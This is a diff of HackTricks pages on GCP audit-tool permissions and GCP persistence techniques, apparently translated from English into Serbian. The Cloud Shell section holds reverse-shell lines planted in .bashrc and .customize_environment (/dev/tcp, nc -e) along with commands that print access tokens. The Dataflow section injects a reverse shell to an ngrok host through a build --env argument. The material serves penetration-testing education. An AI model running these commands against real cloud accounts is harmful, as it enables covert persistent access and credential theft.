|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
```
|
||||
|
||||
## Individual tools permissions
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google)
|
||||
|
||||
```
|
||||
From https://github.com/carlospolop/PurplePanda/tree/master/intel/google#permissions-configuration
|
||||
|
||||
@@ -61,9 +56,7 @@ roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/secretmanager.viewer
|
||||
```
|
||||
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions)
|
||||
|
||||
```
|
||||
From https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions
|
||||
|
||||
@@ -71,60 +64,56 @@ roles/Viewer
|
||||
roles/iam.securityReviewer
|
||||
roles/stackdriver.accounts.viewer
|
||||
```
|
||||
|
||||
### [CloudSploit](https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration)
|
||||
|
||||
```
|
||||
From https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration
|
||||
|
||||
includedPermissions:
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
```
|
||||
|
||||
### [Cartography](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
|
||||
### [Kartografija](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
```
|
||||
From https://lyft.github.io/cartography/modules/gcp/config.html
|
||||
|
||||
@@ -132,9 +121,7 @@ roles/iam.securityReviewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/resourcemanager.folderViewer
|
||||
```
|
||||
|
||||
### [Starbase](https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md)
|
||||
|
||||
```
|
||||
From https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
|
||||
|
||||
@@ -143,6 +130,3 @@ roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - Persistencija
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
# GCP - API Keys Persistence
|
||||
# GCP - Održavanje API ključeva
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Keys
|
||||
## API Ključevi
|
||||
|
||||
For more information about API Keys check:
|
||||
Za više informacija o API ključevima pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Create new / Access existing ones
|
||||
### Kreirajte nove / Pristupite postojećim
|
||||
|
||||
Check how to do this in:
|
||||
Pogledajte kako to učiniti u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
Za više informacija o App Engine, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify code
|
||||
### Izmeni kod
|
||||
|
||||
If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
|
||||
Ako biste mogli samo da izmenite kod pokrenute verzije ili da kreirate novu, mogli biste da je naterate da pokrene vašu **backdoor** i održite **persistence**.
|
||||
|
||||
### Old version persistence
|
||||
### Održavanje starije verzije
|
||||
|
||||
**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
|
||||
**Svaka verzija web aplikacije će biti pokrenuta**, ako otkrijete da App Engine projekat pokreće nekoliko verzija, mogli biste **da kreirate novu** sa vašim **backdoor** kodom, a zatim **da kreirate novu legitimnu** tako da je poslednja legitimna, ali će takođe biti **backdoored verzija koja se takođe pokreće**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,43 +4,39 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
Za više informacija o Artifact Registry pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dependency Confusion
|
||||
### Zbunjenost zavisnosti
|
||||
|
||||
- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
|
||||
- The one with the **highest priority set in the virtual repository** is used
|
||||
- If the **priority is the same**:
|
||||
- If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
|
||||
- If not, the **highest version** is used
|
||||
- Šta se dešava ako se **daleki i standardni** repozitorijumi **pomešaju u virtuelnom** i paket postoji u oba?
|
||||
- Koristi se onaj sa **najvišim prioritetom postavljenim u virtuelnom repozitorijumu**
|
||||
- Ako je **prioritet isti**:
|
||||
- Ako je **verzija** **ista**, koristi se **ime politike abecedno** prvo u virtuelnom repozitorijumu
|
||||
- Ako nije, koristi se **najviša verzija**
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
|
||||
> Stoga, moguće je **zloupotrebiti najvišu verziju (zabuna zavisnosti)** u javnom registru paketa ako daleki repozitorijum ima viši ili isti prioritet
|
||||
|
||||
This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
|
||||
Ova tehnika može biti korisna za **persistence** i **neautentifikovani pristup** jer je za zloupotrebu potrebno samo **znati ime biblioteke** smeštene u Artifact Registry i **napraviti tu istu biblioteku u javnom repozitorijumu (PyPi za python na primer)** sa višom verzijom.
|
||||
|
||||
For persistence these are the steps you need to follow:
|
||||
Za persistence, ovo su koraci koje treba da pratite:
|
||||
|
||||
- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
|
||||
- Create a remote repository if it doesn't exist
|
||||
- Add the remote repository to the virtual repository
|
||||
- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
|
||||
Run something like:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
|
||||
- **Zahtevi**: **Virtuelni repozitorijum** mora **postojati** i biti korišćen, **interni paket** sa **imenu** koji ne postoji u **javnom repozitorijumu** mora biti korišćen.
|
||||
- Kreirajte daleki repozitorijum ako ne postoji
|
||||
- Dodajte daleki repozitorijum u virtuelni repozitorijum
|
||||
- Uredite politike virtuelnog registra da date viši prioritet (ili isti) dalekom repozitorijumu.\
|
||||
Pokrenite nešto poput:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Preuzmite legitiman paket, dodajte svoj maliciozni kod i registrujte ga u javnom repozitorijumu sa istom verzijom. Svaki put kada ga programer instalira, instaliraće vaš!
|
||||
|
||||
For more information about dependency confusion check:
|
||||
Za više informacija o zbunjenosti zavisnosti pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
Za više informacija o BigQuery, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant further access
|
||||
### Dodelite dodatni pristup
|
||||
|
||||
Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
|
||||
Dodelite dodatni pristup nad skupovima podataka, tabelama, redovima i kolonama kompromitovanim korisnicima ili spoljnim korisnicima. Proverite potrebne privilegije i kako to uraditi na stranici:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,20 +4,16 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
For more info about Cloud Functions check:
|
||||
Za više informacija o Cloud Functions pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence Techniques
|
||||
### Tehnike postojanosti
|
||||
|
||||
- **Modify the code** of the Cloud Function, even just the `requirements.txt`
|
||||
- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
|
||||
- **Trigger** a Cloud Function when something happens to infect something
|
||||
- **Izmenite kod** Cloud Function, čak i samo `requirements.txt`
|
||||
- **Dozvolite bilo kome** da pozove ranjivu Cloud Function ili onu sa zadnjim ulazom
|
||||
- **Pokrenite** Cloud Function kada se nešto desi da inficira nešto
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Za više informacija o Cloud Run, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,14 @@ For more information about Cloud Run check:
|
||||
|
||||
### Backdoored Revision
|
||||
|
||||
Create a new backdoored revision of a Run Service and split some traffic to it.
|
||||
Kreirajte novu backdoored reviziju Run usluge i podelite deo saobraćaja na nju.
|
||||
|
||||
### Publicly Accessible Service
|
||||
|
||||
Make a Service publicly accessible
|
||||
Učinite uslugu javno dostupnom
|
||||
|
||||
### Backdoored Service or Job
|
||||
|
||||
Create a backdoored Service or Job
|
||||
Kreirajte backdoored uslugu ili posao
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,62 +12,52 @@ For more information check:
|
||||
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) vam omogućava pristup komandnoj liniji vašim cloud resursima direktno iz vašeg pregledača bez ikakvih povezanih troškova.
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
Možete pristupiti Google-ovom Cloud Shell-u iz **web konzole** ili pokretanjem **`gcloud cloud-shell ssh`**.
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
Ova konzola ima neke zanimljive mogućnosti za napadače:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **Svaki Google korisnik sa pristupom Google Cloud-u** ima pristup potpuno autentifikovanoj Cloud Shell instanci (Servisni nalozi mogu, čak i kao vlasnici organizacije).
|
||||
2. Ta instanca će **održavati svoj home direktorijum najmanje 120 dana** ako ne dođe do aktivnosti.
|
||||
3. **Nema mogućnosti za organizaciju da prati** aktivnost te instance.
|
||||
|
||||
To u suštini znači da napadač može staviti backdoor u home direktorijum korisnika i sve dok se korisnik povezuje na GC Shell svake 120 dana barem, backdoor će preživeti i napadač će dobiti shell svaki put kada se pokrene jednostavno tako što će:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
Postoji još jedna datoteka u home folderu pod nazivom **`.customize_environment`** koja, ako postoji, će biti **izvršena svaki put** kada korisnik pristupi **cloud shell-u** (kao u prethodnoj tehnici). Samo umetnite prethodni backdoor ili jedan poput sledećeg da biste održali postojanost sve dok korisnik "često" koristi cloud shell:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> Važno je napomenuti da se **prvi put kada se izvrši akcija koja zahteva autentifikaciju**, u pretraživaču korisnika pojavljuje prozor za autorizaciju. Ovaj prozor mora biti prihvaćen pre nego što se komanda može izvršiti. Ako se pojavi neočekivani prozor, to može izazvati sumnju i potencijalno kompromitovati metodu postojanosti koja se koristi.
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
Ovo je prozor koji se pojavljuje prilikom izvršavanja `gcloud projects list` iz cloud shell-a (kao napadač) u korisničkoj sesiji pretraživača:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
Međutim, ako je korisnik aktivno koristio cloudshell, prozor se neće pojaviti i možete **prikupiti tokene korisnika sa**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### Kako se uspostavlja SSH veza
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
U osnovi, koriste se ova 3 API poziva:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (omogućiće vam da dodate svoj javni ključ koji ste kreirali lokalno)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (omogućiće vam da pokrenete instancu)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (reći će vam IP adresu google cloud shell-a)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
Ali možete pronaći dodatne informacije na [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,38 +4,34 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
Za više informacija o Cloud SQL, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Expose the database and whitelist your IP address
|
||||
### Izložite bazu podataka i stavite svoju IP adresu na belu listu
|
||||
|
||||
A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
|
||||
For more information check the technique in:
|
||||
Baza podataka koja je dostupna samo iz interne VPC može biti izložena spolja, a vaša IP adresa može biti stavljena na belu listu kako biste mogli da joj pristupite.\
|
||||
Za više informacija pogledajte tehniku u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Create a new user / Update users password / Get password of a user
|
||||
### Kreirajte novog korisnika / Ažurirajte lozinku korisnika / Dobijte lozinku korisnika
|
||||
|
||||
To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
|
||||
Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
|
||||
Remember that **it's possible to list the users of a database** using GCP API.
|
||||
Da biste se povezali na bazu podataka, **samo vam je potreban pristup portu** koji izlaže baza podataka i **korisničko ime** i **lozinka**. Sa **dovoljnim privilegijama** mogli biste **kreirati novog korisnika** ili **ažurirati** postojeću **lozinku** korisnika.\
|
||||
Druga opcija bi bila da **napadnete lozinku korisnika** pokušavajući nekoliko lozinki ili pristupajući **hashiranoj** lozinki korisnika unutar baze podataka (ako je moguće) i dešifrujući je.\
|
||||
Zapamtite da **je moguće nabrojati korisnike baze podataka** koristeći GCP API.
|
||||
|
||||
> [!NOTE]
|
||||
> You can create/update users using GCP API or from inside the databae if you have enough permissions.
|
||||
> Možete kreirati/ažurirati korisnike koristeći GCP API ili iznutra baze podataka ako imate dovoljno dozvola.
|
||||
|
||||
For more information check the technique in:
|
||||
Za više informacija pogledajte tehniku u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,20 +4,16 @@
|
||||
|
||||
## Compute
|
||||
|
||||
For more informatoin about Compute and VPC (Networking) check:
|
||||
Za više informacija o Compute i VPC (Mreža) proverite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence abusing Instances & backups
|
||||
### Iskorišćavanje postojanosti Instanci i rezervnih kopija
|
||||
|
||||
- Backdoor existing VMs
|
||||
- Backdoor disk images and snapshots creating new versions
|
||||
- Create new accessible instance with a privileged SA
|
||||
- Backdoor postojeće VMs
|
||||
- Backdoor disk slike i snimke kreirajući nove verzije
|
||||
- Kreirajte novu dostupnu instancu sa privilegovanom SA
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Invisible persistence in built container
|
||||
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
### Nevidljiva postojanost u izgrađenom kontejneru
|
||||
|
||||
Prateći [**tutorijal iz dokumentacije**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), možete kreirati novu (npr. python) flex šablon:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -19,39 +18,32 @@ gcloud storage buckets create gs://$REPOSITORY
|
||||
# Create artifact storage
|
||||
export NAME_ARTIFACT=flex-example-python
|
||||
gcloud artifacts repositories create $NAME_ARTIFACT \
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
gcloud auth configure-docker us-central1-docker.pkg.dev
|
||||
|
||||
# Create template
|
||||
export NAME_TEMPLATE=flex-template
|
||||
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Dok se gradi, dobićete reverznu ljusku** (možete zloupotrebiti env varijable kao u prethodnom primeru ili druge parametre koji postavljaju Docker datoteku da izvršavaju proizvoljne stvari). U ovom trenutku, unutar reverzne ljuske, moguće je **otići u direktorijum `/template` i izmeniti kod glavnog python skripta koji će biti izvršen (u našem primeru to je `getting_started.py`)**. Postavite svoj backdoor ovde tako da svaki put kada se posao izvrši, on će ga izvršiti.
|
||||
|
||||
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
|
||||
|
||||
Then, next time the job is executed, the compromised container built will be run:
|
||||
|
||||
Zatim, sledeći put kada se posao izvrši, pokrenuće se kompromitovani kontejner:
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
